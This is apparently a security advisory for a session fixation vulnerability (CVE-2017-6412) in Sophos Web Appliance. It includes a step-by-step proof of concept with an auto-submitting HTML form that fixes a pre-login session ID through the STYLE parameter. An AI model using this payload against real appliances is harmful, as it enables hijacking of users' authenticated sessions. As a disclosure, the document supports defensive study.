#Vulnerability Details:-
|
||
========================
|
||
|
||
#1. Session Fixation Vulnerability (CVE-2017-6412)
|
||
|
||
A remote attacker could host a malicious page on his website that makes POST request to the victim’s Sophos Web Appliance to set the Session ID using STYLE parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by an attacker.
|
||
|
||
Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.
|
||
|
||
Note: An attacker would have to guess/know the IP address of the victim's device
|
||
|
||
Proof-of-Concept:
|
||
|
||
1.Visit the Sophos Login page to obtain pre-auth Session ID.
|
||
|
||
2.Host following webpage on attacking machine with the Session ID obtained in #1. It can be changed a little bit.
|
||
|
||
<html>
|
||
<body>
|
||
<form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
|
||
<input type="hidden" name="STYLE" value="Pre-Auth Session ID">
|
||
</form>
|
||
|
||
<script>
|
||
window.onload = function(){
|
||
document.forms['Sophos_Login'].submit()
|
||
}
|
||
</script>
|
||
</body>
|
||
</html>
|
||
|
||
3. Visit the above page another machine.
|
||
|
||
4. You will be redirected to the login page, however Session ID will be the same.
|
||
|
||
5. Log into the appliance and check the Session ID, it will be the same from #1.
